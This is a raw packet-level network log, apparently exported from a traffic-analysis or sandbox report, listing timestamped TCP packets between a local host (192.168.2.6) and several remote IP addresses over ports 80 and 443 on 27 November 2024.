Nov 27, 2024 11:14:45.898958921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.899034023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.899122000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.899808884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.899873972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.899910927 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.900119066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.900680065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.900713921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.900763035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.901537895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.901618004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.901619911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.901683092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.903096914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.903117895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.903162003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.903162003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.903677940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.903693914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.903776884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.904105902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.904211998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.904258966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.905021906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.905071020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.905117989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.905246973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.905846119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.905939102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.905986071 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.906722069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.906775951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.906785965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.906996965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.953685999 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.953752995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.953799963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.953877926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.954160929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.954178095 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.954221964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.954221964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.954994917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.955051899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.955102921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.955833912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.955921888 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.955960035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.956001997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.956764936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.956850052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.956897020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.957858086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.957871914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.957915068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.958496094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.958514929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.958599091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.959371090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.959384918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.959562063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.960196972 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.960272074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.960297108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.960426092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.961067915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.961134911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.961208105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.961270094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.961958885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.962028980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.962112904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.962795973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.962853909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.962857962 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.962924957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.963752031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.963778973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.963807106 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.963845968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.964553118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.965121031 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.966774940 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.966850996 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.967156887 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.967679977 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.967730999 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.967768908 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.967796087 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.967823029 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.967922926 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.972418070 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.972445965 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.972495079 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.972501993 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.979126930 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.979156971 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.979269981 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.979413033 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.979424953 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.982938051 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.982984066 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.983027935 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.983040094 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.983063936 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.983091116 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.995840073 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.995858908 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.996009111 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.996016979 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.996119022 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.004487991 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.004534960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.004549026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.004638910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.004709005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.004757881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.004893064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.004952908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.005606890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.005665064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.005745888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.005906105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.006537914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.006561041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.006588936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.006604910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.007436037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.007468939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.007483006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.007802010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.008205891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.008300066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.008331060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.008454084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.009071112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.009169102 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.009188890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.009211063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.009900093 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.009984016 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.010853052 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.010926962 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.010950089 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.010973930 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.011009932 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.011066914 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.025758982 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.025779009 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.025836945 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.025844097 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.025855064 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.025979996 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.039874077 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.039917946 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.040003061 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.040015936 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.040034056 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.040163994 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.054909945 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.054953098 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.054980040 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.054986000 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.055032015 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.080389023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.080475092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.080476046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.080619097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.080809116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.080872059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.080882072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.080923080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.081703901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.081770897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.081834078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.082534075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.082734108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.082840919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.082895994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.082966089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.083054066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.083754063 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.083821058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.083851099 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.083873987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.084562063 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.084624052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.084672928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.084932089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.085400105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.085453987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.085510969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.085594893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.086272955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.086358070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.086452007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.087152004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.087202072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.087239981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.087263107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.088089943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.088154078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.088184118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.088239908 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.088917017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.089020967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.089099884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.089775085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.089835882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.089842081 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.089884043 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.090681076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.090744019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.090835094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.090951920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.091640949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.091742992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.091756105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.091813087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.092396975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.092462063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.092508078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.092580080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.093238115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.093334913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.093398094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.093493938 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.094122887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.094172001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.094208956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.094312906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.094979048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.095040083 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.095074892 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.095135927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.095889091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.095920086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.095944881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.096050978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.096735001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.096784115 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.096813917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.096929073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.097587109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.097645044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.097682953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.097733974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.098553896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.098614931 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.098651886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.098778009 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.099364996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.099427938 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.099456072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.099555016 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.100189924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.100219965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.100246906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.100368977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.101058006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.101134062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.101929903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.102004051 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.102024078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.102776051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.102845907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.102880001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.103503942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.103652954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.103718996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.103729010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.103801966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.104551077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.104634047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.104645967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.104726076 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.105392933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.105439901 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.105489969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.105536938 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.106270075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.106329918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.106359005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.106440067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.107116938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.107167006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.107232094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.107331991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.107995987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.108057022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.108093023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.108186007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.154978037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.155082941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.155303001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.155417919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.155457973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.155533075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.156095028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.156166077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.156244993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.156368017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.157010078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.157023907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.157072067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.157084942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.157880068 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.157892942 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.157938957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.158679008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.158772945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.159013033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.159600973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.159615993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.159764051 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.160490990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.160594940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.160620928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.160660982 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.161303043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.161410093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.161426067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.161489964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.162223101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.162316084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.162451982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.163041115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.163208961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.163269997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.163435936 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.163464069 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.163516998 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.163532019 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.163597107 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.163923979 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.163965940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.164017916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.164042950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.164076090 CET	49830	80	192.168.2.6	185.215.113.206
